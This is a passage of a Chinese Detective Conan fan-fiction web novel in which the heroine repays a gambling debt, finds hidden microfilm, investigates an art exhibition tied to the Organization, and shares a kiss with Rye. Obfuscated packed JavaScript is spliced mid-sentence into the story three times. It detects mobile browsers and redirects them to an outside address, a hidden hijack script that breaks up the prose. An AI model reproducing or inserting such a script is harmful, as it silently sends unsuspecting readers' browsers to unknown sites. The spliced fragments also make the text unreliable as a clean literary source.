原主之前欠了不少赌债,加起来大概有一个亿,但是她没有和苏格兰提起过。或许是苏格兰在进入她的安全屋时,在观察中发现了她的“欠债日历”? 不过,上一个任务中,她刚从富泽家讨要到三个亿,甚至没有与那位合伙人分赃就闹翻了。除了还没来得及把钱还给欠债人之外,这笔钱足够她衣食无忧。别说债务,就算是再奢侈的生活,也能支撑许久。 “啊,那个的话已经解决了,不用担心。最近的任务赚了一大笔钱,现在手头的这些足够我还清所有欠款,甚至还能剩下不少……” 说着,她心头忽然一顿,一个念头不受控制地冒了出来,眉头下意识皱起,语气也沉了几分:“苏格兰,你该不会是想说,你的手上有闲钱可以借给我吧?” 奇怪。 以她的了解,苏格兰看似脾气温和,实际上相处时很看重彼此之间的界限。 过问旁人的私事,甚至主动提出借钱,根本不是他的风格。 电话那头的人沉默了几秒,没有直接回答,只是轻声说道:“抱歉,我随口问问,解决了就好。是我多虑了。” 远在鸟取,却在为她的事多虑吗? 白羽响敏锐地察觉到了不对劲。这种过分的关切中夹杂着让人不安的异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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听到他认真的承诺,白羽响心头的紧绷感才稍稍缓解了些。 苏格兰的保证,应该有信誉吧。 不过二人聊了这么久,苏格兰竟然依然对她和波本的事闭口不谈,这件事让人还挺意外的。 她决定再试探一下:“你还有什么要跟我说的吗?” “我想想……”苏格兰微微顿了顿,语气里的郑重淡去,多了几分俏皮,“对了,刚刚光顾着说话,忘了恭喜你了,赚了一大笔钱。” 白羽响听了他的话,随即笑了起来:“为了答谢你的恭喜,下次见面的时候,我请你吃大餐。” 他俩之前一起吃的那几顿饭,真是顿顿记忆犹新。没味道的拉面、黄油拌饭、酸的荷包蛋…… “好啊,沾你的光了。” 通话停在了轻松愉快的话题上,她没有一开始那么不安了。 将手机拿下来的时候,她才注意到自己牵着的那条狗正盯着她张望着摇尾巴。大概是她在原地站得有些久,它失去了耐心。 白羽响蹲下身,安抚一般地摸了一把狗脑袋。 不多时,银行卡里转来了一笔小钱。那正是她今日兼职所得。 自动推送来的消息里一并显示了卡内的余额——依然少得可怜。 那晚黑川郁夫的买命财被她取走之后,没有存进银行卡内,到现在都一直是现金。 “趁早把债还了吧?” 她摸着狗自言自语。 为了她自己,也为了给妹妹过去的人生一个交代。 42.微缩胶卷 十月下旬之后,天气明显转凉了。米花町的秋日裹挟着湿冷的风,卷得满地落叶簌簌作响,踩上去软塌塌的,混着泥土的潮气。 白羽响裹紧了身上的薄外套,穿梭在人群之中,一手提着半旧的行李箱,另一手揣在口袋里攥着折叠刀。 她已经这样走了好一会儿。意识到身后跟着几道黏腻的目光之后,她刻意放慢了脚步。 今天会拎着箱子大摇大摆地出现在集市里,就是打着被人跟踪的主意。为达目的,她转了三圈,总算钓上了鱼。 毕竟……她完全不知道妹妹的钱是问谁借的。这群人自从上次找上了门,被她出手教训了一回之后,就再也没有找到她跟前来,这让她有事都找不到人,很不方便。 今天来的目的,本来是想碰碰运气,看看能不能遇上那天跟踪她的几位熟人,可惜……今天跟着她的“小尾巴”她并不认识。 算了,都是在这一片混的,谁不认识谁呢? 这么想着,她朝着集市深处走去。 这里藏着一片废弃的卸货区,堆着高高的木板与空纸箱,恰好形成一处天然的死角。白羽响拎着行李箱径直走了进去,在阴影里站定。转身时,那几个小混混果然追了上来,堵在了入口处。 “小姑娘,你箱子里的是什么好东西?给哥哥看看。” 白羽响挑眉,轻轻一推,行李箱脱手,倒在地上发出沉闷的声响,显然有不少好东西。 她笑了笑,看着身后跟着的几个人。 “可以,有本事就来拿吧。” 半个小时之后,鼻青脸肿的年轻人带着她穿过了集市,到了集市周边的一个拳击馆。 从外表看,这里只是一间普通的拳击场馆,但进出的男男女女大多衣着光鲜,眼神里透着焦灼或兴奋,半点没有锻炼的兴致。 白羽响在门口站着看了一会儿,在身边的人提醒一下发现了一处总有人鬼鬼祟祟进出的暗门。 她从口袋中抽出两个一百元硬币,递给这个刚刚被她拎着衣领狂揍的年轻人。 “谢谢。”她微微笑着说,“不好意思,身边只有这么点零钱,就当是小费加诊费了。” 对方也不顾钱少,拿了就飞奔跑路。 白羽响没管对方狼狈逃跑的背影,走到暗门之前推门而入,打量起了这个地下赌场。 她从前虽然不好赌,但也见过一些赌场。那些地方大多烟雾缭绕、乌烟瘴气,她很不喜欢。不过这里好像有些不一样。 这里装修得颇为雅致,木质屏风隔开了各个赌桌,灯光柔和不刺眼。若不是耳畔清晰传来骰子撞瓷碟的脆响、筹码推倒的沙沙声,她几乎要以为走进了某家高端休闲会所。 她在走廊站了没几分钟,一个瘦高个男人就迎了上来。 这人看着很眼熟,是之前被她教训过的那个瘦子,于是白羽响给了他一个笑脸。 “我来还钱。”她言简意赅,“带我去找我的债主。” 听了她的话,瘦子先是愣了愣,随后目光忍不住瞟向她手中的黑色行李箱。 “怎么,想抢?”白羽响看着对方直白的目光,笑盈盈地说道。 想当初这人被她吓得整个人瑟瑟发抖,一个月没见,看起来是皮痒了。 “没、没没。”那瘦子连连摆手,“还钱是吧?走,我带你去见御头哥。” 白羽响跟着他上了三楼,绕了两圈,总算到了一处办公室。瘦子敲了敲门,有人打开了。 这个被瘦子称为御头的人是个相当年轻的男人,除了穿的衣服有点不着调之外,完全不像是个放贷的。 不过越是这种人,越不是好惹的。 她无意与对方深交,只是径直走到他面前,将手中沉甸甸的箱子搁在桌上推了过去:“一亿,一分不少,点一点吧。” 御头看了那个箱子一眼,伸出手“咯嗒”一声将箱子的按锁打开,里面码得整整齐齐的日元纸币,让他眼中闪过一丝讶异。 “你可真是个有本事的女人,竟然真能还上。”他上下打量着白羽响,“如果不是行规不让多打听,我真想问问你是做什么营生的。” 白羽响失笑:“怎么?你这儿很少有人能还上钱吗?” “那倒不是。”御头双手交叠,露出了手臂上的半截纹身,“不过,很少有你这种借了这么多钱之后还能提前还债的。当初你说十个月就能还清,现在竟然还提前了两个月。” 当初这个女人提出这十个月的借用期限的时候,他只当是痴人说梦。她很能赌,还很能输,敢借这么多笔钱,要么是家底殷实,要么是亡命之徒,而她看起来两者都不算。 她甚至连眼神都不像是个疯狂的赌徒。 他再次打量了几眼白羽响,还是好奇地问了:“你做了一本万利的买卖?还是真的勾搭上那个三木一海了?” 熟悉的名字再次出现在耳边,白羽响看了他一眼。 她当然记得三木一海是谁。 那是她的意识进入妹妹的身体的第一天,她、波本、苏格兰一起完成的一个勒索任务。印象里,那是一个靠灰色产业发家的富商,很没道德,这人最后落到了波本手中,然后再无下文。 御头也认识这个人,看来妹妹是在赌场认识的三木一海,借此搭上了线。 刚刚御头说,妹妹陆陆续续借了这么多次钱,加起来高达一个亿,却承诺能在十个月之内还清。 这个时间说长不长,多短也不短,很是微妙。 或许在她借钱的这十个月内,本来有一个另外的计划,能够帮助她将借出去的钱全部拿回。 难道,她并不是出于爱好在赌钱? 可惜,现在她没有任何关于这件事的记忆了。 “我的生意确实一本万利,毕竟得搏命。”她卖了个关子,“你真要听?” “别,我可不管那些,知道多了要被人找麻烦。”御头摇了摇手,“能随随便便拿出一个亿,你比我厉害。” 白羽响配合着他的话笑了笑:“谬赞。” “啊对了。”御头转身,拉开了好几个抽屉,找了好一会儿之后,拿出一个小盒子,推到她面前,“这是你当时抵押的东西,拿回去吧。” 妹妹留下来抵押的东西? 白羽响心中一动,从他手中接了过来。 她打开盒子,一条银色的项链躺在里面,造型古怪,末端还有一个细小的开口,像极了缩小版的竹笛。白羽响细细地观察了一眼,这个东西摸起来冰凉坚硬,但是材质不像是什么值钱的东西。 这也能抵押? 她带着疑惑,看了一眼眼前的御头。 “别说我不照顾你。”御头挥了挥手,毫不掩饰地说道,“要不是看你长得漂亮,这种东西我可不会收。你走出门问问,这儿从来没有拿这种廉价货色来抵押的。” 白羽响笑了笑,把东西收进了口袋:“谢了。” 或许对于妹妹来说,这就是值钱的东西。 她想了想,问了一个问题:“三木一海最近来赌场了吗?” 御头翻了翻眼前的一本账本:“跟你一样,最近一个多月没来了。你俩一块儿戒赌了?不会吧……你这么厉害?” 白羽响知道他误会了什么,不过也懒得多做解释,只是神秘地笑了笑。 三木从赌场消失不见,应该是波本的手笔。之前推理出是波本横插一手抢走了妹妹的任务之后,她就晓得原本关于组织三木一海的计划已经出了差错。 现在看来,或许这就是原本那个能让妹妹拿回一个亿的计划。 波本…… 怎么偏偏又是他…… 也不知道想起这个人是心头火起还是五味杂陈,反正光是想起来她就哪儿都不痛快。 吵完那一架之后,波本就像是销声匿迹了一般,再也没传出任何音讯。这件事一道未愈的疤,横在两人之间,谁都没进半步,也不肯退让。 她有种直感,之前苏格兰没在电话中提到这件事,是因为波本压根没和他说。当然,她也没有主动与苏格兰提起这事。 在这一点上,他们好像有着奇怪的默契。 “我平时不多嘴的,但还是劝你一句,离他远点。”御头冲着她抬眉,“他背景不干净,有个很‘厉害’的朋友。别吃亏了。” “厉害”的朋友…… 看来比起三木自己,他背后的那位朋友或许才是组织的目标? 白羽响心里盘算着,将项链的小盒子握在手中。 她基本肯定了,妹妹频繁出入赌场,不是因为赌瘾,而是为了接近三木一海,完成一件事情。那这笔不仅是作为赌注,更是用来打通关节的“敲门砖”。 哼,如果妹妹真的是为了组织的任务,把日子过得这么拮据,她就要跟组织再狠狠算上一笔账。 “谢谢提醒。”她简单地截断了话题,道谢离开了。 走出赌场,夜晚的凉风一吹,白羽响才觉得紧绷的神经稍稍放松。 她站在路灯下,看着手里的盒子,反复地端详着。 这条奇怪的项链,说不定就是解开谜团的关键。 她没有离开,而是就在路灯之下将东西拿了出来,对着灯光观察。指尖在这条项链的末端摸索了一会儿之后,似乎感觉到这个小小的竹节之中藏着什么东西,低端有个小小的开口。 她拿下了自己头上的一字夹,小心翼翼地撬动着开口处的机关。 “咔哒”一声轻响,项链的外壳被打开,里面竟然藏着一卷小小的胶卷,只有手指长短,裹在一层防水塑料里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196996|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白羽响有些吃惊。 这是微缩胶卷? 在看到这东西的一瞬间,她又一次想起了波本。她啧了一声,判断自己是之前借相机的事情,在看到胶卷的一瞬间进行了潜意识的联想。她努力晃了晃脑袋,把这个人从大脑中请出去。 想了想之后,她给莱伊发了条消息。 ——我需要帮助。 一个小时之后,莱伊出现在了她安全屋附近的天桥上。 白羽响看了他一眼。这个人还是那身黑色翻领夹克衫加上针织帽,长发搭在夹克衫外,脸上没什么表情,就像是在阴影之中无声无息出现的一般。 她看了看莱伊,忍不住问道:“白天出门你也会是这套造型吗?” 莱伊的嘴角勾起一抹极淡的笑意,没说话,只是走到她身边站着。 天桥之下车水马龙,路过的车灯一盏又一盏,映在莱伊墨绿色的瞳孔之中。 这个人该不会两三年没白天出门了吧? 白羽响一边腹诽,一边从口袋里掏出了那个盒子,递给了他:“看看这个。” 莱伊接过盒子,打开后拿出那条“竹笛项链”。开口已经被白羽响撬开,他将胶卷取出来,打开手机的照射灯,在灯下看了看,沉默了几秒,才开口说道:“真复古啊。” 这反应也未免太平淡了点。 “别光顾着感慨。”白羽响开始自如地指派他干活,“想个办法,我想尽快见到这交卷上的东西,哪怕是不那么清晰的版本——说实话,我最好现在就能见到。” 她知道,这很为难人。但是现在这个时代,早就没人用胶卷了。 明天就要去参加之前预约的画展,她想知道那件事和妹妹一直以来筹谋的事有没有关系。 这种事一定不是莱伊的专长,但她确实需要帮助——至少莱伊会和她共享秘密,也愿意提供帮助。 莱伊用修长的手指将那一小截胶卷中的一张努力地展平,又打开了手机,调出了一张白底的照片映衬在下面,然后借来白羽响的手机,打开微距模式拍了两张照片。 他将手机递还给了白羽响。 上面的照片是黑白的也就算了,上头的颜色甚至还全是反色的,她心头烦恼起来。这样怎么看得清? 她抬头,看了一眼莱伊:“听说狙.击手的眼睛都很厉害,你看见什么了?” “两个人。”莱伊言简意赅,“男人。” 这显然不是她期待的答案。 她皱着眉头,看了半天,隐隐觉得照片上的人轮廓有点眼熟,两个都是。 其中一个,长得很像那天见到的三木一海;但是另一个,她却怎么也想不起来。这种感觉很不好,让人抓耳挠腮,恨不得立刻得到答案才好。 白羽响盯着那张用手机放大的负片上的残影,尝试着描摹着他们的五官。然后她试图将目光投向一旁的白墙,看看能不能通过眼睛的补色效应在脑中完成这张相片的负后像。 莱伊看着她挪动的目光,立刻就猜到了她的意图。 “没用的。”他摇了摇头,“人的眼睛做不到这么困难的事,这几张照片需要进行专业处理。” 白羽响有些泄气,哀怨地看了一眼莱伊。 本来也没抱希望,被他说了一句,感觉又做了一堆无用功。 “这个眼神,好像在说我很没用。”莱伊好整以暇地拿出了一根烟点燃,吸了一口之后,烟雾在夜色中散开。 “怎么会?”白羽响扯出了一个假笑,阴阳怪气地说道,“你可是联邦调查局的高级探员。” 一想到他是FBI就来气。 要不是他是个FBI,她的日子才不会有现在这么艰难。 当然,如果那件事不发生,她或许也会一辈子都不知道自己还有一个在组织监视之下的妹妹。 “我还能为她做点什么呢……”白羽响喃喃自语道。 天亮以后,她会替妹妹去看了她预约的画展,然后呢? 事情兜兜转转,好像又到了瓶颈,难以突破。 莱伊看着她目光中的黯然,慢悠悠地开口说道:“那个梳着大背头的男人,五官长得很有特色,长得很像收藏大师八坂荒。” 八坂荒?这个名字很陌生。 白羽响回过头看他,眼神有些迷茫:“是你认识的人?” 莱伊会认识,那这个人跟组织或许有点关系,只是她没见过? “嗯。FBI盯着他很久了。”他顿了顿,补充道,“我们怀疑他跨国洗钱。” 意想不到的话让白羽响微微愣住。 她盯着莱伊的脸。 “我们”。 这个用词,让她第一次有了这个人是个FBI的实感。 ……他是不是对她坦诚过头了。 43.那幅画 这个叫作“八坂荒”的男人长着一张熟悉的脸。 回到安全屋的白羽响盯着电脑屏幕上的新闻报道,用手轻轻敲击着自己的下巴。 相关的报道数量有限,而且基本没有现场照片,只有一张公式照一般的相片。相片中的他头发灰白,模样严肃,感觉是个很古板的老头。 照片看不出名堂,只能去看文字了。 这些报道内容大相径庭,基本都是介绍八坂荒在日本和美国的拍卖会市场进行艺术品鉴定、修复的工作,他本人是一位艺术品收藏家,有的时候还会受邀在拍卖前介绍当日藏品,似乎在业内还挺有威望。当然,他也会参与藏品的拍卖,手上的东西一买一卖,就能赚上几倍的差价。 懂行、有闲钱、还很能稳赚不赔,听起来日子未免太好过了点。莱伊说他参与跨国洗钱,多半是真的。 她出于好奇,查了本次画展的投资人和赞助商,没有在其中看到八坂荒的名字。 不过,这并不意味着莱伊认错了人。 她有一种直觉,御头之前说的三木一海身边的“大人物”,或许就是他。 当天晚上,她辗转反侧,难以入眠,脑中一直被各种问题困扰着。 按理说,八坂荒那种很有特点的长相,应该很容易给人留下印象。但她只记得这张脸,却想不起来关于他的任何一点其他事迹。 或许,他们只是在哪里有过匆匆的一面之缘? 第二天醒来的时候,莱伊的短讯没来。看着手机上的记录还停留在昨天,她忍不住有些泄气,看来在画展之前确认答案是没有希望了。 她简单收拾了一下,换上一身休闲装,前往画展。 画展所在的美术馆是二十年前由私人投资建造的,不过刚刚翻新完没多久,重新投入使用才没几个月。展厅在美术馆的一楼,一进门就能看到画展的宣传,她的目光从一系列的艺术门派和画作介绍上略过,看向了最底下的门票售价。 五千日元一张票? 她微微吃惊。 如果不是昨天进行了一些准备,她或许也不会发现,这个价几乎是平时画展的五到十倍。虽然是私人美术馆,但总不见得一场画展的租金要这么贵吧? 她狐疑地在介绍前徘徊着,观察着售票口的情况。过了一会儿,几个年轻人在她之后新入了场馆,但他们没有去买票,而是径直走到检票口,对着一个站在一旁的侍者报上了名字,展示了之前收到观展资格的短讯。 嗯? 有短讯的人就可以不买票? 白羽响的目光扫过高昂的票价,心中有了猜测,她走上前,也报上了自己的名字。 “抱歉,观展的短讯被我不小心删除了。”她笑着报上了姓名和邮箱问道,“可以通融一下吗?” 那封受邀的邮件还躺在妹妹的秘密邮箱之中,尽管不能登陆,但她在收到通知的第一时间就截了图,理论上足够对付,但她想试探一下这个场馆的安保程度。 没想到侍者只是看了一眼名录,就绽出笑颜:“当然。欢迎您,白羽小姐。” 明明是个门槛很高的艺术展,放人却很水,至少门票的五千日元绝对不是他们的目标。 当然,这个画展的“特别之处”可不止一点。 比如说,这次布展的时间在深秋,却打着“春日”的主题;再比如说,寻常艺术展动辄展出数月,它却只开放三天。 这么一看,高昂的票价只是把误打误撞跑来的路人拦在了门外。表面上这是个对外的画展,实际上和邀请制也没什么区别嘛。 白羽响跟着侍者走了两步,进入了画展之内。 粗略地瞄了一眼展厅的构造,地方倒是十分宽敞,二十几幅画,硬生生用了十个陈列室。 她顺着编号一间间逛下去,脚步踩在柔软的地毯上,几乎听不到声音。整个展厅安静得可怕,除了偶尔传来的自己的呼吸声,就只有远处隐约的空调运行声。 这些陈列室的背景都是清一色的素雅纯色,米白、浅灰、淡蓝,没有多余的装饰,连灯光都精准地打在画作上,逼着人的目光只能聚焦在画布本身。 虽透着古怪,却做得也像模像样。 就在她逛着的时候,几个穿着光鲜亮丽女性路过她的身边,小声交流着她们在展品之中看中了哪一幅画。 看中? 她心里一动,迅速拦下了其中一位:“抱歉打扰一下,您的意思是说这些展品看中了可以带走吗?” “哈……?”对方被拦下来有些莫名,看了她两眼之后给她进行了解答,“是啊,几天后会有拍卖会,可以带走这些展品。短讯上不是写了吗?” 拍卖会啊。 果然。 “原来如此,我那会儿没仔细看,谢谢你。” 白羽响笑着和对方分开。 既然有拍卖会,那张相片里的人是八坂荒的可能性就更高了。 她一边思索着,一边独自在展馆里晃悠。她本来就对赏画一窍不通,除了能看出每幅都是油画,色彩浓淡不一外,什么笔触、意境,她品不出一点。 这些春日风景画都是一个模样,主题无非是花、树、草。她带着手机一一记录下来具体的情况,仔细地欣赏了几幅之后,已经开始审美疲劳。 一数之下,这已经是她看得第九个陈列室了。走到第十个陈列室的门口,白羽响的脚步猛地顿住了。 与前九个陈列室中的素雅春景不同,这间陈列室的中央,挂着的竟是一幅人物肖像。画中是个金发女人的背影,她站在漫天飞舞的樱花中,指尖轻触花瓣,黑色风衣的下摆被春风吹起,明明是静态的画作,却透着一股动态的柔美。 而比这幅画更让她惊讶的,是站在画前的那个人。 她绝对不会认错,那是爱尔兰。 他今天穿着一件便于行动的衬衫,神色沉静地望着那幅画,侧脸的轮廓在灯光下显得有些冷硬,看起来就不好惹。 白羽响的心脏猛地一跳,下意识地往后退了一步准备避开。 即使现在爱尔兰认不出她的脸,但她并不打算与对方打照面。然而往后退了一步之后,疑惑浮上了心头。 爱尔兰怎么会来看画展呢? 她躲在陈列室外,朝着内部多看了两眼。爱尔兰对那幅画看得很是专注,似乎真的在心上画作。 白羽响抽了抽嘴角。以她对爱尔兰的了解,他会出现在和艺术有关的地方就已经很诡异了。何况这种优美柔软的画作风格,根本不可能是他会欣赏的类型。 那么答案就很明确了。这反常的主题、短暂的展期、高昂的票价、空旷的展厅,还有这幅画——果然,这里和组织有关吧? 似乎是察觉到了她注视的目光,爱尔兰缓缓转过身。白羽响当机立断转身快步离开,柔软的地毯为她做了良好的掩饰。 一如既往敏锐,该说不愧是义兄吗? 只是她还不想与爱尔兰见面,至少现在不是时机。 她有了对抗组织的私心,要是被爱尔兰记住了脸,行动会不方便的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216324|192927||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避开了爱尔兰之后,她再次在展厅内绕了好几圈,回到了第十个陈列室,爱尔兰已经离开,陈列室内空无一人。 她站在陈列室的中央,细细地端详着陈列室中悬挂的唯一的画作。 画中的金发女人空有背影,甚至没有脸,但她的心里却从刚才看到的第一眼,就涌起一股强烈的直觉——画中的女人,很像贝尔摩德。 不是那个在她面前扮演过多次、带着甜美笑容的玲奈,甚至不是组织中的贝尔摩德,而是像那个曾经在娱乐圈中熠熠生辉、风华绝代的大明星莎朗·温亚德。 她说不清这直觉从何而来,或许是她眼熟的站姿,或许是大衣的款式,又或许是那隐隐透出的、深入骨髓的神秘冷艳的气质,让她一眼就联想到了那个女人。 画师很厉害。 她打开手机,给这张画拍了一张照片,走上前两步,看了一眼画师的名字。 “H·S小姐”。 这个名字…… 她的目光再次扫过那幅金发女人的背影画。 线条细腻,笔触带着几分独有的柔软,画技比这个展馆之中大部分的画作更胜一筹。虽然她对妹妹的存在毫无记忆,但她记得,在之前与波本闲聊的时候,他曾经提到过,妹妹在学生时代有画画的爱好。 她思索片刻,将画作一键发送给了莱伊,顺带拍了一张作画人的名字。 ——Shirahane Hibiki,“白羽响”这个名字的罗马字写法。按照英美的读法,名在姓前,首字母就是H·S。我怀疑这幅画和我妹妹有关系。 当初的观展资格确认短信中最后提到的“提交”两个字,有没有可能指的就是“提交画作”? 白羽响咬了咬下唇。 她从一片混沌中抓取千丝万缕的线索,试图拼凑这桩任务的起点。 抛开长达十七年的观察,就看妹妹与组织深入关系的这段时间好了。 之前贝尔摩德说过,她们第一次见面的时候是在年初,虽然不知道具体是什么时候,但总之是八到九个月。妹妹因为一些原因结识了贝尔摩德,加入了组织,并且领取了一个长期的任务。 这个任务的大概内容是进入地下赌场,接近三木一海,以达成某个目的。之前她不确定妹妹的任务进展了多少,但从这幅画作出现在组织的眼皮子底下来看,应该成功了至少一半。 在她的意识出现在妹妹的身体之中的那天,波本介入了这个任务,三木一海到了波本的手上,她也顺势被踢出局了。苏格兰说过,波本介入的原因是“组织中有人希望三木一海起别的作用”,这说明波本还受组织中其他人的指使。可惜她没法向波本打听更多,只有回头再问问苏格兰了。 白羽响持续地盯着眼前的这幅画作中女人的背影。 贝尔摩德…… 她会是那个几个月前给妹妹布置任务的人吗? 在她的意识进入这具身体以后,这个任务再也没找到她的头上。如果波本没介入这个任务,她身上的变故会不会暴露在当初给妹妹布置任务的人眼中? 啧。 不知道为什么,想想觉得更不爽了。 她走出美术馆的时候正是中午,外头的日光有些刺眼。她眯着眼睛看了一眼天空,闭了会儿眼,压下心头一堆繁杂的事。 这些事虽然棘手,但又能不急于一时,她得稳住。 刚走到街角,手机就震动了一下,是莱伊发来的加密邮件,只有简短的一句话。 ——安全屋见。 44.亲吻与密谋 莱伊的安全屋是一间藏在写字楼里的私人工作室。 门口对外似乎还有标注招牌的痕迹,但现在已经全部被抹除,只剩下斑驳的墙面。附近的几个工作室都已经搬走,她走进的时候只觉得安静异常。 推开门的瞬间,白羽响就忍不住笑了,把目光瞥向一边故意没看他。 莱伊没戴那顶万年不变的针织帽。一头乌黑的长发随意地垂在他的肩头,顺着流畅的肩线滑下,衬得他的脖颈愈发修长白皙。 那身标志性的黑夹克也没穿,取而代之的是一件黑色高领内衬。布料贴身,隐约勾勒出匀称的肌肉线条,腰线收得漂亮,没有一丝多余的赘肉;下.身是一条修身黑裤,皮带扣得一丝不苟。 偶尔来这么一下确实新鲜感十足,可惜光看他这副模样,就知道他想干什么。 莱伊的唇角弯了弯,朝她走了两步。 看到她的反应,莱伊应该很得意吧? 白羽响不想落下风,面不改色地朝他摊开了手:“我要的东西呢?” 莱伊什么都没说,朝她递来一个密封袋。 她接过打开,四张相片滑了出来。 拿起第一张,她的目光落下,便抬了抬眉——确实是八坂荒,身侧站着的,正是三木一海。照片里两人穿戴整齐,梳着油亮的发型,并肩谈笑风生,背景瞧着像是某个高级酒会,视角隐蔽,显然是从更高的楼层偷拍所得。 她正想顺着线索往下琢磨,身后的人却忽然俯身靠近。 没有任何预兆的,气息骤然缠上耳廓,将她整个人包裹住。莱伊的声音压得极低,一字一句擦着她的耳尖落下。 “狙.击手的眼睛,不赖吧?” 那声音轻轻搔刮着耳膜,让她一个机灵,这种感觉顺着脊椎往下窜,她不由自主地绷紧身体。 白羽响的手指微微收紧,相纸的边缘硌得指腹生疼,留下一道浅浅的折痕。 莱伊靠得太近了。 他身上丝若有似无的烟草味进入了她的鼻腔,垂落的长发也扫过了她的颈侧,温热的气流喷在耳廓。 “我没质疑过你的眼睛。” 虽然她那时并未确认相片里的人是八坂荒,但调查的方向可完全是按照莱伊说的去做的。 白羽响轻轻推了他一把,试图拉开一点距离。她与莱伊距离上的暧昧与失控不是好事。 她往旁躲了半步,搁下了那张相片,转过身去拿起了一杯水,呷了半口。冰凉的液体沁入,顺着喉口一路下滑,她强撑着让自己冷静。 “眼前有更要紧的事做。时间不等人,赶紧做正事吧。” “是吗?” 一只手拉住了她的上臂,趁她回头的工夫,突如其来的温热侵袭了她的唇角,瓦解了她刚努力建起的自持;另一只手托住了她的腰,让她不能再次挣脱。 这举动来得突然,让她下意识去看手中的半杯水有没有洒出。 它没有洒,而是正随着莱伊的举动晃荡。一场即兴又绵延的涟漪在小小的杯中掀起,斑驳的光影扭动、变形、消散再重组,一时模糊,一时透明,即使外力止息也不能重归平静。 她后知后觉地察觉了皮肤上传来的滚烫温度。视线回到莱伊的双眼时,她仿佛从那双深邃的眼睛中看到了熔金的太阳。 “我觉得这件事也很重要。” 话音落下,那个吻便褪去了最初的试探,变得汹涌而炽热。他抬手搂住她的腰将她抱了起来,力道带着不容拒绝的强势。脚步挪动间,两人从门口一路辗转到工作室的长桌前。 “哗啦——” 地图、文件、笔筒、作画用的尺子,全都被他不管不顾地扫到地上,发出清脆的声响。早先的相片早就不知被抛到了哪里,周围一片狼藉。 不知什么时候,手中的半杯水已经泼洒一空,那个杯子被她一松手哐当落在了地面上,仅剩的理智最终还是独木难支。她抱着莱伊的脖颈,将整个人都挂在了莱伊的身上。 那双带着枪茧的手掌稳稳地托着她的腰,最终她半躺了下来,后背贴着微凉的桌垫,前胸是滚烫的体温。 敏感的耳侧传来湿润时,她忍不住轻轻蜷缩了一下,微微偏过头,躲开他过于炽热的吻。 莱伊察觉到了,动作停顿了一瞬。 她一抬眼就看到了他的瞳色,那双眼睛既写着带着志在必得的信念,也浸满了未褪的炽热,还映着她的身影。 “这算什么,美人计?”她嗤笑了一声,“FBI还教你这个?” 她的话让莱伊的眼底闪过一丝笑意,没有回答。他低下头,继续用唇轻轻地在她的耳垂上留下一个轻柔的吻,带着细腻的触感。 “唔……” 身子瞬间再次敏感地颤栗起来,像被电流击中,让她倒吸一口冷气。 行,中计了。 她闭上眼,不再抗拒,抬手搂住他的脖颈,主动回应着他的吻。那个吻从唇瓣一路落到脖颈,带着湿热的触感,留下一串细密的印记。 她在迷离中睁开双眼。 莱伊的发丝缠绕在她的手上,就像是有生命的丝绸,驯顺地栖息在指节的浅湾;而更多的,则如垂帘落在她的身侧,仿佛要与周遭隔开,遮住了两人交叠的身影。 她抬手顺着他的长发往下滑,指尖划过他的后颈、脊背,他肌肉的紧绷与放松每一刻都在她的掌下。 周围只剩下彼此急促的呼吸声和布料摩擦的轻响,所有的阴谋、危险、猜忌都被隔绝在这一方小小的空间之外。 不知过了多久,唇齿分离时,两人的呼吸都还带着未平的急促。温热的气息交织在一起,带着彼此的味道,久久不散。 莱伊没有立刻起身,只是用掌心轻轻摩挲着她汗湿的鬓角,指腹带着微凉的温度,替她拂去脸颊的薄汗。 就这么一小会儿,他已经找回了平日的理智。 他转身去捡地上散落的文件和笔筒。那些被扫落在地的尺子、橡皮,都被他一一捡起来放回桌面,动作慢条斯理,唯独没去管那条松垮挂在腰间的皮带。 做完这一切,他总算大致收拾了一下自己的衣物,拉开冰箱门,拿出两罐冰咖啡,一罐递给白羽响,一罐自己开了,仰头喝了一口。 白羽响接过冰咖啡,指尖触到冰凉的罐身,平复着心情。 “昨天晚上你找完我以后,我去见了一面琴酒。”莱伊突然开口说道,“你的事情有点耽搁了。” 琴酒不是闲人,多半是给他交代了任务。 她看着莱伊,等待着他的后文。 “最新的任务和你有点关系,但水很深,我建议你置身事外。”莱伊顿了顿,继续说道,“但要是你打算搅局,支援也可以在咫尺之外。不过——那不是你熟悉的支援。” 她看着水泥地上返碱的痕迹,那些白色的纹路像蜘蛛网一样,蔓延开来。 这是莱伊的邀请。 白羽响思索片刻,抬头笑着看他:“你打算让我做FBI的线人?” 事情才过了短短几天,他们的信任关系已经到这个地步了? “我不会答应你的,莱伊。” 这句话说得决绝,尤其是在这种刚接吻过后的氛围里,更显得冰冷而无情。 这几天,她时刻还会想着如果那天她做了别的决定——比如答应了波本的计划,顺利地杀了莱伊、洗清罪名,或许她就能够光明正大地和养父、义兄见上一面,而不是像现在这样躲在暗处,黯然地看着他们忙碌的身影,连靠近的勇气都没有。 当然,她不会后悔那天做的决定。 理智和情感已经交锋过了,她顺应了本心选择了包庇莱伊,但做事是要有分寸和限度的。 “你有顾虑?”莱伊微微皱眉,“我可以坦白身份和本名……” 一根手指轻轻搭在了他的嘴唇上,白羽响摇了摇头。 